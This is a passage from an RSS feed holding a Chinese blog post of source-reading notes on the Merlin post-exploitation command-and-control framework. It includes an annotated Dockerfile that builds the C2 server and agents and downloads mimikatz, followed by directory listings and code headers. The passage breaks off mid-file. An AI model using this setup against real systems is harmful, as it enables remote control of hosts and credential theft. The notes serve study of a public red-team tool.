style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483718">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=668f8d19&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUyOTI5MTM4OQ%3D%3D%26mid%3D2247483718%26idx%3D1%26sn%3D5c93cf4f2a9d4472df6632bb7638d8dd">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 28 Oct 2022 23:58:00 +0800</pubDate>
    </item>
    <item>
      <title>Merlin远控二次开发-源码阅读笔记(1)</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyOTI5MTM4OQ==&amp;mid=2247483704&amp;idx=1&amp;sn=b42703396ce28d22e167f762f99237bc</link>
      <description>#Merlin 远控二次开发## 源码分析###</description>
      <content:encoded><![CDATA[<p>
原创 <span>鲁平</span> <span>2022-10-22 01:52</span> <span style="display: inline-block;">北京</span>
</p>

<p>#Merlin 远控二次开发## 源码分析###</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=31a08838&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FkEgicicM5SiaCfsicicj8WhZU9fNgnuMNYiaLAddjBsT8sqiaVzItibaich2UbLPyKHUwA1P5H5vuvyFhqYX2aticerqf6WQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 cid="n0" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 2.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.2;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">Merlin 远控二次开发</span></h1><h2 cid="n2" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">源码分析</span></h2><h3 cid="n3" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">DOCKERFILE</span></h3><pre spellcheck="false" lang="FROM golang:1.16-buster" cid="n4" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"># Build the Docker image first</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">#  &gt; sudo docker build -t merlin . 创建Merlin项目</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"># To start the Merlin Server, run 在443端口起container，映射日志目录，将c2运行的日志放在merlin-server-log和merlin-agent-logs文件夹中</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">#  &gt; sudo docker run -it -p 443:443 -v ~/merlin-server-log:/opt/merlin/data/log -v ~/merlin-agent-logs:/opt/merlin/data/agents merlin:latest </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"># Update APT 更新apt及cmake需要的apt-transport-https及windows平台c/c++需要的gcc-mingw-w64编译器</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">RUN apt-get update</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">RUN apt-get upgrade -y</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">RUN apt-get install -y apt-transport-https vim gcc-mingw-w64 unzip</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"># Install Microsoft package signing key 注册 Microsoft 密钥和源</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">RUN wget --quiet -O - <a href="https://packages.microsoft.com/keys/microsoft.asc" target="_blank">https://packages.microsoft.com/keys/microsoft.asc</a> | gpg --dearmor &gt; microsoft.asc.gpg 安装microsoft公共库秘钥</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">RUN mv microsoft.asc.gpg /etc/apt/trusted.gpg.d/</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">RUN wget --quiet <a href="https://packages.microsoft.com/config/debian/10/prod.list" target="_blank">https://packages.microsoft.com/config/debian/10/prod.list</a></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">RUN mv prod.list /etc/apt/sources.list.d/microsoft-prod.list</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">RUN chown root:root /etc/apt/trusted.gpg.d/microsoft.asc.gpg</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">RUN chown root:root /etc/apt/sources.list.d/microsoft-prod.list</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"># Install Microsoft .NET Core 2.1 SDK 安装 .NET Core SDK</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">RUN apt-get update</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">RUN apt-get install -y dotnet-sdk-2.1</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"># Clone Merlin Server 下载merlin服务端项目源码</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">WORKDIR /opt</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">RUN git clone --recurse-submodules <a href="https://github.com/Ne0nd0g/merlin" target="_blank">https://github.com/Ne0nd0g/merlin</a></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">WORKDIR /opt/merlin</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">RUN go mod download</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"># Clone Merlin Agent 下载merlin客户端项目源码</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">WORKDIR /opt/</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">RUN git clone <a href="https://github.com/Ne0nd0g/merlin-agent" target="_blank">https://github.com/Ne0nd0g/merlin-agent</a></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">WORKDIR /opt/merlin-agent</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">RUN go mod download</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">RUN make all</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"># Clone Merlin Agent DLL 下载merlin客户端Dll文件源码</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">WORKDIR /opt/</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">RUN git clone <a href="https://github.com/Ne0nd0g/merlin-agent-dll" target="_blank">https://github.com/Ne0nd0g/merlin-agent-dll</a></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">WORKDIR /opt/merlin-agent-dll</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">RUN go mod download</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">RUN make</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"># Build SharpGen 编译.net 加密项目模块</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">WORKDIR /opt/merlin/data/src/cobbr/SharpGen</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">RUN dotnet build -c release</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"># Download Mimikatz 下载mimikatz</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">WORKDIR /opt/merlin/data/src/</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">RUN wget <a href="https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz_trunk.zip" target="_blank">https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz_trunk.zip</a></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">RUN unzip mimikatz_trunk.zip -d mimikatz</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">RUN rm /opt/merlin/data/src/mimikatz_trunk.zip</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"># Port that the agent will communicate with the server on  指定于外界交互的443端口</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">EXPOSE 443</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">WORKDIR /opt/merlin 运行main.go入口文件</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">CMD [&#34;go&#34;, &#34;run&#34;, &#34;main.go&#34;]</span></pre><h3 cid="n5" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">目录结构</span></h3><pre spellcheck="false" lang="2022/01/05  23:15    &lt;DIR&gt;          ." cid="n6" mdtype="fences" style=" box-sizing: border-box; overflow: visible; font-family: var(--monospace); font-size: 0.9em; break-inside: avoid; text-align: left; white-space: normal; background-image: inherit; background-position: inherit; background-size: inherit; background-repeat: inherit; background-attachment: inherit; background-origin: inherit; background-clip: inherit; background-color: rgb(248, 248, 248); border-width: 1px; border-style: solid; border-color: rgb(231, 234, 237); border-radius: 3px; padding: 8px 4px 6px; margin-bottom: 15px; margin-top: 15px; width: inherit;  "><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          ..</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15                56 .gitattributes</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          .github</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15                51 .gitignore</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15               114 .gitmodules</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          data   存放项目启动后存放的日志、数据库、agent向server传输的文件及日志、tls证书文件等文件</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15             1,897 Dockerfile</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          docs   项目各项模块介绍及说明文档</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15             1,225 go.mod</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15            34,280 go.sum</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15            33,071 LICENSE</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15             2,093 main.go 项目入口文件</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15               818 Makefile</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          pkg     项目核心库文件</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15             6,058 README.MD</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">              10 个文件         79,663 字节</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">               6 个目录 24,150,183,936 可用字节</span></pre><h4 cid="n7" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">data(模块文件)</span></h4><pre spellcheck="false" lang="" cid="n8" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          .</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          ..</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          agents  存放agent向server传输的文件及日志</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          log     存放server端日志文件</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          modules 存放json格式模块文件（类似插件，包含第三方文件github地址及）</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15               484 README.MD</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          src     存放第三方工具源码</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          x509    存放cert证书</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">               1 个文件            484 字节</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">               7 个目录 24,152,489,984 可用字节</span></pre><h4 cid="n9" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">docs(Sphinx文档集)</span></h4><pre spellcheck="false" lang="2022/01/05  23:15    &lt;DIR&gt;          ." cid="n10" mdtype="fences" style=" box-sizing: border-box; overflow: visible; font-family: var(--monospace); font-size: 0.9em; break-inside: avoid; text-align: left; white-space: normal; background-image: inherit; background-position: inherit; background-size: inherit; background-repeat: inherit; background-attachment: inherit; background-origin: inherit; background-clip: inherit; background-color: rgb(248, 248, 248); border-width: 1px; border-style: solid; border-color: rgb(231, 234, 237); border-radius: 3px; padding: 8px 4px 6px; margin-bottom: 15px; margin-top: 15px; width: inherit;  "><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          ..</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          agent                        存放客户端rst文档（包含agent端描述文档、dll描述文档、使用make自行编译文档）</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15            30,704 CHANGELOG.MD</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15             5,806 conf.py                      Sphinx配置文件  </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15             3,272 CONTRIBUTING.MD</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          images                       文档中涉及的图片</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15             1,672 index.rst                    描述文件索引</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15               599 ISSUE_TEMPLATE.md</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15               787 make.bat                     由Sphinx quickstart生成</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15               598 Makefile                     由Sphinx quickstart生成</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          misc                         杂项文档</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          modules                      模块描述rst文档（模块是预存的agent将执行的一系列操作的json描述文件）</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15               603 PULL_REQUEST_TEMPLATE.md </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          quickStart                   存放快速使用rst文档（包含客户端使用文档、服务端使用文档、和答疑文档）</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          server                       存放服务端rst文档（tls证书描述文件、服务端各项目录描述文档【agent、listener、main、modules】）</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          _build                       各文档生成过程中的编译文件树文档</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">               8 个文件         44,041 字节</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">               9 个目录 22,375,784,448 可用字节</span></pre><p cid="n11" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">Sphinx是一个工具，她能够轻易地创建文档，此处为sphinx-build 脚本构建了一个Sphinx文档集</span></p><h4 cid="n12" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">pkg（项目核心源码）</span></h4><pre spellcheck="false" lang="2022/01/05  23:15    &lt;DIR&gt;          ." cid="n13" mdtype="fences" style=" box-sizing: border-box; overflow: visible; font-family: var(--monospace); font-size: 0.9em; break-inside: avoid; text-align: left; white-space: normal; background-image: inherit; background-position: inherit; background-size: inherit; background-repeat: inherit; background-attachment: inherit; background-origin: inherit; background-clip: inherit; background-color: rgb(248, 248, 248); border-width: 1px; border-style: solid; border-color: rgb(231, 234, 237); border-radius: 3px; padding: 8px 4px 6px; margin-bottom: 15px; margin-top: 15px; width: inherit;  "><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          ..</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          agents</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          api</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          cli</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          core</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          handlers</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          jobs</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          listeners</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          logging</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15             1,008 merlin.go                 定义了包名、版本、和编译参数为非发布（norealease）</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          messages</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          modules</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          opaque</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          pwnboard</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15               129 README.MD</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          server</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          servers</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">2022/01/05  23:15    &lt;DIR&gt;          util</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">               2 个文件          1,137 字节</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">              17 个目录 22,401,064,960 可用字节</span></pre><h3 cid="n14" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">源码</span></h3><h4 cid="n15" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">main.go</span></h4><pre spellcheck="false" lang="go" cid="n16" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Merlin is a post-exploitation command and control framework.</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// This file is part of Merlin.</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Copyright (C) 2021  Russel Van Tuyl</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Merlin is free software: you can redistribute it and/or modify</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// it under the terms of the GNU General Public License as published by</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// the Free Software Foundation, either version 3 of the License, or</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// any later version.</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Merlin is distributed in the hope that it will be useful,</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// but WITHOUT ANY WARRANTY; without even the implied warranty of</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// GNU General Public License for more details.</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// You should have received a copy of the GNU General Public License</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// along with Merlin.  If not, see &lt;<a href="http://www.gnu.org/licenses/" target="_blank">http://www.gnu.org/licenses/</a>&gt;.</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">package</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">merlin</span>             <span style="box-sizing: border-box;color: rgb(0, 0, 0);">声明了包名</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Version is a constant variable containing the version number for the Merlin package</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">const</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Version</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;1.2.0&#34;</span>   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">定义了静态变量版本号</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Build is the unique number based off the git commit in which it is compiled against</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">var</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">Build</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;nonRelease&#34;</span>  <span style="box-sizing: border-box;color: rgb(0, 0, 0);">声明了编译变量为非发布</span> </span></pre><h4 cid="n17" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">core</span></h4><h5 cid="n18" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">core.go</span></h5><p cid="n19" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">包括是否开启调试模式、当前项目路径、是否输出详细信息、随机生成任意长度随机字符算法RandStringBytesMaskImprSrc、jwe加解密算法</span></p><pre spellcheck="false" lang="go" cid="n20" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Merlin is a post-exploitation command and control framework.</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// This file is part of Merlin.</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Copyright (C) 2021  Russel Van Tuyl</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// Merlin is free software: you can redistribute it and/or modify</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);">// it under the terms of the GNU General Public License as published by</span></span><span 